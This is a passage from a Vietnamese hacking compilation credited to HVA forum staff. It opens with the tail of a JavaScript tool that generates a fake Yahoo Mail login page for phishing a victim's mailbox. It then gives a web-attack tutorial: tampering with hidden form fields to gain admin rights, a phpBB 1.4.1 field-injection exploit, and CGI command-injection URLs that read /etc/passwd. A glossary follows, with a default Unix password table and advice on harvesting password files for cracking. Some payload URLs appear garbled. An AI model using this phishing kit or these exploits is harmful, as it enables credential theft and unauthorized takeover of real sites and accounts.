use your n"
clrar.value+="information, see our <A n"
clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585
05/D=mail/S=150500014:FOOT2/A=1052425/R=5/SIG=11b5p6lhe/*http://privacy.
yahoo.com/privacy/us/mail/"+K+">Privacy n"
clrar.value+="Policy</A></SMALL></CENTER>n"
clrar.value+="<script>n"
clrar.value+="var ypim_MA_Farm_URL =
"+K+"http://us.f137.mail.yahoo.com"+K+";n"
clrar.value+="var ypim_AB_URL =
"+K+"http://address.yahoo.com/yab/us"+K+";n"
clrar.value+="var ypim_CA_URL = "+K+"http://calendar.yahoo.com"+K+";n"
clrar.value+="var ypim_NP_URL = "+K+"http://notepad.yahoo.com"+K+";n"
clrar.value+="var ypim_MA_YY = "+K+"128340"+K+";n"
clrar.value+="var ypim_IMG =
"+K+"http://us.i1.yimg.com/us.yimg.com/i/us/pim"+K+";n"
clrar.value+="var ypim_Loc = "+K+"us"+K+";n"
clrar.value+="var ypim_IsCalendarView = false;n"
clrar.value+="var ypim_IsNotepadView = false;n"
clrar.value+="var ypim_i18n_CheckMail = "+K+"Check Mail"+K+";n"
clrar.value+="var ypim_i18n_Compose = "+K+"Compose"+K+";n"
clrar.value+="var ypim_i18n_Folders = "+K+"Folders"+K+";n"
clrar.value+="var ypim_i18n_Search = "+K+"Search"+K+";n"
clrar.value+="var ypim_i18n_Options = "+K+"Options"+K+";n"
clrar.value+="var ypim_i18n_Help = "+K+"Help"+K+";n"
clrar.value+="var ypim_i18n_AddContact = "+K+"Add Contact"+K+";n"
clrar.value+="var ypim_i18n_AddCategory = "+K+"Add Category"+K+";n"
clrar.value+="var ypim_i18n_AddList = "+K+"Add List"+K+";n"
http://wWw.Hack.Cf Page 113
clrar.value+="var ypim_i18n_ViewContacts = "+K+"View Contacts"+K+";n"
clrar.value+="var ypim_i18n_ViewLists = "+K+"View Lists"+K+";n"
clrar.value+="var ypim_i18n_Quickbuilder = "+K+"Quickbuilder"+K+";n"
clrar.value+="var ypim_i18n_ImportContacts = "+K+"Import Contacts"+K+";n"
clrar.value+="var ypim_i18n_Synchronize = "+K+"Synchronize"+K+";n"
clrar.value+="var ypim_i18n_AddressesOptions = "+K+"Addresses
Options"+K+";n"
clrar.value+="var ypim_i18n_AddressesHelp = "+K+"Addresses Help"+K+";n"
clrar.value+="var ypim_i18n_AddEvent = "+K+"Add Event"+K+";n"
clrar.value+="var ypim_i18n_AddTask = "+K+"Add Task"+K+";n"
clrar.value+="var ypim_i18n_AddBirthday = "+K+"Add Birthday"+K+";n"
clrar.value+="var ypim_i18n_Day = "+K+"Day"+K+";n"
clrar.value+="var ypim_i18n_Week = "+K+"Week"+K+";n"
clrar.value+="var ypim_i18n_Month = "+K+"Month"+K+";n"
clrar.value+="var ypim_i18n_Year = "+K+"Year"+K+";n"
clrar.value+="var ypim_i18n_EventList = "+K+"Event List"+K+";n"
clrar.value+="var ypim_i18n_Reminders = "+K+"Reminders"+K+";n"
clrar.value+="var ypim_i18n_Tasks = "+K+"Tasks"+K+";n"
clrar.value+="var ypim_i18n_Sharing = "+K+"Sharing"+K+";n"
clrar.value+="var ypim_i18n_Synchronize = "+K+"Synchronize"+K+";n"
clrar.value+="var ypim_i18n_CalendarOptions = "+K+"Calendar Options"+K+";n"
clrar.value+="var ypim_i18n_CalendarHelp = "+K+"Calendar Help"+K+";n"
clrar.value+="var ypim_i18n_AddNote = "+K+"Add Note"+K+";n"
clrar.value+="var ypim_i18n_AddFolder = "+K+"Add Folder"+K+";n"
clrar.value+="var ypim_i18n_ViewNotes = "+K+"View Notes"+K+";n"
clrar.value+="var ypim_i18n_NotepadOptions = "+K+"Notepad Options"+K+";n"
clrar.value+="var ypim_i18n_NotepadHelp = "+K+"Notepad Help"+K+";n"
clrar.value+="</"+F+"CRIPT>n"
clrar.value+="<script src="+K+"pulldowns.js"+K+"></"+F+"CRIPT>n"
clrar.value+="<DIV id=mail></DIV>n"
clrar.value+="<DIV id=addr></DIV>n"
clrar.value+="<DIV id=cal></DIV>n"
clrar.value+="<DIV class=menubg id=note></DIV><!-- SpaceID=150500014
loc=FAD noad --><!-- SpaceID=150500014 loc=RS noad --><!-- UM: 0.002 --><!--
v3.3.7.1 1055892397 --><!-- 0.04509 --><!-- web13705.mail.yahoo.com
compressed Sun Jul 6 05:00:59 PDT 2003 --></BODY></HTML>n"
}
function dis(){
if (tar.checked==true){tar2.disabled=false}
if (tar.checked==false){tar2.disabled=true}
}
</SCRIPT>
<BR><INPUT onclick=gene() type=button value="Vie^'t code cua Fake
mailbox">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT
http://wWw.Hack.Cf Page 114
onclick='clrar.createTextRange().execCommand("SelectAll");clrar.createTextRange()
.execCommand("Copy");' type=button value="Copy toan` bo^. code"><BR><BR>
<b><font color="#FF0000">Tao. 1 trang htm voi'' noi dung la` toan` bo^. noi^.
dung trong box de^* lam` trang Fake mailbox, gia mao mail box
victim</font></b><BR><BR>
<TEXTAREA name=clrar rows=16 cols=105>
</TEXTAREA> <BR><BR>&nbsp;</SPAN></p>
</p>
</BODY></HTML>
Good tool chứ ???? hihihi, còn khoảng 3-4 Tool nữa tôi đang viết, sẽ hướng dẫn các
bạn sử dụng có hiệu quả sau, làm thế nào đánh đâu trúng đó mới khoái ... he he he
Author by : tsbeginnervn ( Staff of HVA )
Website : http:// www.vnhacker.org/forum/
Edit by : PTV5 Group
Website : http://www.ptv5online.com ; http://www.ptv5online.net ……
######################################################################
#
1-Tấn công vào vùng ẩn:
Những phần bị dấu đi trong trang WEB thường chứa những thông tin về các
phiên làm việc của "clien",các phiên làm việc này thường ghi ỡ máy
khách(clien) chứ không tổ chức CSDL trên máy chủ,vì vậy ta có thể dùng
chức năng "View Source" của trình duyệt để đọc phần bị dấu đi và từ đó có
thể tìm ra sơ hở của trang WEB mà ta muốn tấn công,ta có thể truy cập vào
hệ thống của máy chủ này...
Ví dụ có một website cho phép bạn sữa các cấp thành viên làm Mod,
Member, Banned, nhưng không cho phép sửa lên thành Admin. Bạn thử view
code, bạn có thể thấy như sau:(đây là ví dụ thôi tuỳ trường hợp)
QUOTE
.....
<form action="" method="post" name="settings" >
.....
http://wWw.Hack.Cf Page 115
<select class=search name=status>
<option value=1>Moderator</option>
<option selected value=2>Member</option>
<option value=3>Banned</option>
</select>
.....
Hãy suy luận một tí nhé: Banned: value=3, Member: value=2, Moderator:
value=1. Vậy thì Admin là mấy??? Có thể là 0 okie tiếp tục nào:
Lưu lại trang setting member đó, edit HTML code trong đó, sửa lại đoạn
Select:
QUOTE
.....
<form action="" method="post" name="settings" >
.....
<select class=search name=status>
<option value=0>Admin </option>
<option value=1>Moderator</option>
<option selected value=2>Member</option>
<option value=3>Banned</option>
</select>
.....
Bây giờ hãy mỡ trang web đó lên và nhấn "submit" nào,vẩn không có chuyện
gì xãy ra cã sao vậy à quên xem chổ này:
<form action="" thì khi nhấn "submit" thì nó truyền dữ liệu là các biến cho
file nó đang load vậy ta hãy sữa lại một tí nhé ta copy url trên trình duyệt mà
ta đang lưu file đó ví dụ:
QUOTE
http://www.tinhban.com/phpbb/member.php
vậy sẽ trỡ thành như sau:
http://wWw.Hack.Cf Page 116
QUOTE
.....
<form action="http://www.tinhban.com/phpbb/member.php" method="post"
name="settings" >
.....
<select class=search name=status>
<option value=0>Admin </option>
<option value=1>Moderator</option>
<option selected value=2>Member</option>
<option value=3>Banned</option>
</select>
.....
Bây giờ nhấn "submit" một lần nữa xem sao,bạn có thể thành công nếu như
code ẩu vâng một số trường hợp áp dụng rất tốt đấy
Một ví dụ điển hình nữa là ta có thể truy cập thành ADMIN của forum phpbb
1.4.1 thông qua việc sữa đổi thông tin ẩn của trang web để truy cập vào hệ
thống với quyền cao hơn
Version phpbb 1.4.1
Đănng ký làm thành viên và vào profile và "View Source" và sữa đổi như sau:
Thay thế dòng:
QUOTE
<input type="checkbox" name="viewemail' value="1">
thành
QUOTE
<input type="text" name="viewemail' value="1',user_level=4'">
Sữa
QUOTE
<form action="./profile.php" method="post">
Thành
QUOTE
<form action="http://target/phpbb2/profile.php" method="post">
http://wWw.Hack.Cf Page 117
và nhấn "submit" >bạn trở thành admin của forum thật dể dàng phải không
2-Can thiệp vào tham số trên URL:
Đây là cách tấn công đưa tham số trực tiếp vào URL,kẽ tấn công có thể dùng
các câu lệnh SQL để khai thác CSDL trên server bị lổi,điển hình nhất là tấn
công bằng lổi "SQL INJECT"(chú ý: Hầu hết các trang web của VN đều bị lổi
này) cách khai thác lổi này hãy đọc kỹ bài viết của WINDAK và Nhóm Vicki và
các bài viết liên quan của các thành viên trong forum của chúng ta,tấn công
kiểu này rất gọn nhẹ nhưng vô cùng hiệu quả chỉ dùng công cụ tấn công duy
nhất là trình duyệt WEB và backdoor(up lên server) lời khyên nên dùng
minibrowse vào http://flash.to/nhomvicki mà download vì nó không bị lổi
time out.
3-Tấn công dùng cookie:
Giới thiệu về cookie
cookie là những phần dữ liệu nhỏ có cấu trú được chia sẻ giữa web site và
browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ
dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận
biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi
qua trong site. Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quen...
cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy
mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site,
những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy
cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie
(như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko
phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề
đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko
chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ
hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền
điêu khiển site; cũng có nhiều site sử dụng những thông tin cá nhân của
người dùng để phục vụ cho các mục đích khác như quảng cáo, hoặc thậm chí
bán thông tin của người dùng cho khách hàng khác (vd: nếu đột nhiên bạn
nhận vài email quảng cáo mỗi ngày được gửi vào mail box của bạn mà ko
biết tại sao, thì có thể là thông tin cá nhân của bạn đã bị một site nào đó mà
bạn từng xem sử dụng)
Các thành phần của cookie
Tên: do người lập trình web site chọn
Domain: là tên miền từ server mà cooki e được tạo và gửi
Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
Ngày hết hạn: là thời điểm mà cookie hết hiệu lực
Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc
http://wWw.Hack.Cf Page 118
mã hoá trong quá trình truyền giữa server và browser.
Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận
dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị
giới hạn trong khoảng 4k.
cookies của Netscape (NS) đặt trong file cookies.txt, trong thư mục cài đặt
NS Usersdefault (hoặc UserYourname), còn của IE thường đặt trong
Documents and SettingsUsernamecookiesusername@sitename.txt. (đối
với win9x, thư mục cookies nằm trong thư mục Windows/cookies)
Netscape là trình duyệt đầu tiên sử dụng cookie, kế đến là IE của microsoft.
Các thông tin khác về cookie thêm về cookie, các bạn có thể tham khảo thêm
ở http://www.cooki_ecentral.com/
Khai thác cookie
Ưu điểm của việc sử dụng cookie đã rõ ràng, việc lưu trữ và dùng lại các
thông tin đăng nhập sẽ giúp người dùng tiết kiệm thời gian trong việc duyệt
các web site. Tuy nhiên, bên cạnh những lợi ích của nó. cookie là một trong
những nguyên nhân gây tiết lộ thông tin riêng tư của người dùng. Những
người biết tận dụng những thông tin này có thể gây nên những hậu quả
nghiêm trọng. VD: một hacker làm việc ở một ngân hàng có thể tìm cách
xem thông tin trong cookie của khách hàng và sử dụng thông tin này để truy
cập vào acc của khách hàng đó. Hoặc hacker có thể tìm cách trộm cookie của
admin 1 website và từ đó có thể dễ dàng chiếm được quyền điều khiển site.
Những browser hiện nay cho phép người dùng khóa cookie hoặc hỏi họ trước
khi lưu lại cookie trên hệ thống. Cũng có nhiều software giúp người dùng
quản lý tốt cookie, giúp ngăn chặn hoặc cảnh báo những nguy cơ có thể gây
hại.
(Còn tiếp: tôi sẽ giới thiệu cho các bạn cách hack một vài kiểu forum bằng
cách khai thác thông tin trong cookie và phương pháp lấy cookie từ một vài
kiểu forum chưa fix)
4-Các lổ hổng bảo mật:
Hiện nay các lổ hổng được phát hiện ra ngày càng nhiều về hệ điều
hành,máy chủ WEB,và các phần mềm của các hảng khác...Tuy khi phát hiện
ra được và có bổ sung các bảng path nhưng các khách hàng không cập nhật
thường xuyên nên là cơ hội cho các hacker tấn công.Hiện nay trong box lổi
bảo mật của chúng ta các lổi bảo mật luôn được cập nhật thường xuyên(nhờ
có đôi ngũ Mod năng động như L...)còn việc khai thác các lổ hổng như thế
nào thì tuy thuộc sự linh hoạt năng động của từng người...Chứ khôgn thể
hướng dẩn từng chi tiết một cho các bạn được vì còn rất nhiều việc phải làm
nữa nên các bạn phải tự mày mò tìm hiểu để bổ sung vào kiến thức của mình
5-Cấu hình không an toàn:
http://wWw.Hack.Cf Page 119
Đây là lỗ hổng do ứng dụng có các thiết lập mặc định không an toàn hoặc do
người quản trị hệ thống định cấu hình không an toàn. Ví dụ như cấu hình
Web server cho phép bấy kỳ ai cũng có quyền duyệt qua hệ thống thư mục.
Việc này có thể làm lộ các thông tin nhạy cảm như mã nguồn, mật khẩu hay
thông tin của khách hàng.
Việt cấu hình không an toàn này rất nguy hiểm vì khi ta duyệt được các file
như pass thì ta có thể download và giải mã...Có rất nhiều lổi về cấu hình
không an toàn này,đã làm cho không bao nhiêu người phải khốn đốn.
6-Tràn bộ đệm:
Tình trạng tràn bộ đệm xảy ra khi dữ liệu được gửi đến ứng dụng nhiều hơn
mong đợi. Kỹ thuật tấn công này có thể làm cho hệ thống bị tê liệt hoặc làm
cho hệ thống mất khả năng kiểm soát.
Xem bài viết của nhóm Vicki về cách khai thác lổi tràn bộ đệm
Chèn mã lệnh:
Đây là kỹ thuật chèn mã lệnh vào trang Web từ máy khách. Kỹ thuật này cho
phép hacker đưa mã lệnh thực thi vào phiên làm việc trên Web của một
người dùng khác. Khi đoạn mã lệnh này chạy, nó sẽ cho phép hacker làm đủ
thứ chuyện, từ giám sát phiên làm việc trên Web cho đến toàn quyền điều
khiển máy tính của khổ chủ.
Một ví dụ điển hình đó là lổi của web dùng cgi các hacker có thể dùng lệnh
unix trên trình duyệt của mình như ví dụ sau:
QUOTE
http://target/index.cgi?page=index.cgi
http://target/index.cgi?page=index.cgi >xem mã nguồn file index.cgi
http://target/index.cgi?page=index.cgiswd >xem file passwd của server
http://target/index.cgi?page=index.cgils -la
http://target/index.cgi?page=index.cgi
http://target/index.cgi?page=index.cgi >dùng lệnh unix
Bạn phải linh hoạt trong cách tấn công của mình
7-Không cần log-in:
Nếu ứng dụng không được thiết kế chặt chẻ, không ràng buộc trình tự các
http://wWw.Hack.Cf Page 120
bước khi duyệt ứng dụng thì đây sẽ là một lỗ hổng bảo mật và hacker có thể
lợi dụng để truy cập thẳng đến các trang thông tin bên trong mà không cần
phải qua bước đăng nhập.
8-Eavesdropping(nghe trộm):
Một cách chung chung phần lớn các hệ thống mạng truyền đạt thông tin qua
mạng không chắt chắn lắm,nên nó giúp các Attacker có thể truy cập vào data
paths để "listen in" hoặc "read" luồng dữ liệu chuyển qua.Khi các Attacker
nghe trộm sự truyền đạt thông tin nó sẽ chuyển đến "sniffing" or
"snooping".Năng lực của nghe trộm là giám sát hệ thống mạng nó sẽ thu
thập được những thông tin quý giá về hệ thống đó,có thể là một packet chứa
passwd và user.Các chương trình này gọi là các "sniffing" có nhiệm vụ lắng
nghe các cổng của một hệ thống mà các hacker muốn tấn công,nó sẽ thu
thập các dữ liệu chuyển qua các cổng này và chuyển về cho các attacker.
9-Data Modification(thay đổi dữ liệu):
Sau khi các attacker đọc được dữ liệu của môt hệ thống nào đó,họ có thể
thay đổi mà không cần quan tâm đến người gỡi và người nhận.Thậm chí nó
không có đòi hỏi sự cẩn trọng trong sự chuyển dịch thông tin ,thì bạn có thể
sữa đổi những thông tìn từ những packet này một cách dể dàng ví dụ như
trong một cuộc giao dich nào đó bạn có thể thay đổi thông tin về giá trị của
sãn phẩm...Có nhiều thứ mà các ATK quan tâm(hãy cẩn thận)
10-Password-Based Attacks:
Thông thường một hệ thống nào đó khi mới cấu hình thì cũng có một User và
pass mặt định,những một số admin của hệ thống sau khi config xong thì
không đổi,đây là cơ hội để có thể giúp các ATK xâm nhập vào một cách
đường đường chính chính,khi đã vào rồi thì họ có thể tạo thêm user,cài
backdoỏ để cho lần viếng thăm sau...Lời khuyên khi cài và config xong hay
thay đổi pass mặt định.
11-Identity Spoofing (IP Address Spoofing):
Hầu như các hệ thống mạng trên thế giới này đều sữ dụng IP address để
nhận biết sự tồn tại của mình,vì vậy IP là sự quan tâm hàng đầu của các
ATK,khi hack vào bất cứ hệ thống mạng nào thì cũng phải biết địa chỉ IP của
hệ thống mạng đó.Các ATK sẽ giã mạo IP address để thâm nhập vào hệ
thống đó và sau đó có thể làm gì mình thích như cấu hình lại hệ thống đó,sữa
đổi thông tin ... có rất nhiều thứ mà họ quan tâm
Còn nhiều kiểu tấn công khác nữa các bạn có thể tìm hiểu thêm trên net biết
đâu chính bạn tạo ra một phương pháp mới thì sao có thể lắm chứ tự tin lên
các bạn.
http://wWw.Hack.Cf Page 121
#######################################################################
Author by : Anhdenday ( Staff of HVA ), and Hackertt ( Staff of HVA )
Website : http:// www.vnhacker.org/forum/
Edit by : PTV5 Group
Website : http://www.ptv5online.com ; http://www.ptv5online.net ……
#######################################################################
Tự bạch : Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?”
Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách
tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng
tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một
số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi .
Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá ngườI khác . Các
bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở
dướI bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi ,
đồng thờI cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm
một số cách hack , crack và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên
cứu đọc nó để hiểu thêm , rồ khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc
bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay
từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm
ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính .
====================================================
1 . ) Ta cần những gì để bắt đầu ?
Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn
hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix ,
dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một
chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)
2 . ) Thế nào là một địa chỉ IP ?
_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte ->
!P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C.
Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B
với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần
lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở
hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì
bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là
http://wWw.Hack.Cf Page 122
duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy
tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn
lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show ip"
người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ "systat –n ", và biết được ai đang kết
nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm
được IP của bạn
( Tài liệu của HVA )
3 . ) Làm thế nào để biết được địa chỉ IP của mình ?
_ Trong
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns <your nick>”
_ Thông qua một số trang Web có hiển thị IP .
4 . ) IP Spoofing là gì ?
_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên
mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà
không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến
một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào
đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không
cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin
phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy
có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có
lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm
account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )
5 . ) Trojan / worm / virus / logicbomb là cái gì ?
_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của
ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái
mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của
ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài (
hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của
mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan
khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc
nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ ,
làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công
cụ để “khủng bố” đốI phương ( bom Mail ) ;) .
http://wWw.Hack.Cf Page 123
6 . ) PGP là gì ?
_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá
chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an
toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác
.
7 . ) Proxy là gì ?
_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những
proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực
thi trên dual_homed host hoặc basion host. Những chương trình client của người sử
dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng
cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng
hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server
thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server,
cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống
cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host
homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này
thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông
qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những
giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép
user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó
không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là
giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host
và screening rounter.
( Bài viết của Z3RON3 – tài liệu của HVA )
8 . ) Unix là gì ?
_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất ,
và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH
này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .
9 . ) Telnet là gì ?
_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng (
port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng
thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .
10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
http://wWw.Hack.Cf Page 124
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn
kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu
nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix
được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ :
Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ .
Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account
vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo
bảng sau :
Account-------------------------Default Password
Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest
11 . ) shell account là cái gì ?
_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI (
terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix ,
“Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào
thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử
dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng
đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy
nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .
12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?
_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn
có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham
khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng
hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất
dấu trong những hệ thống chuẩn như :
/etc/passwd
mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng
này :
http://wWw.Hack.Cf Page 125
userid:password:userid#:groupid#:GECOS field:home dir:shell
trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký
mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở
trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
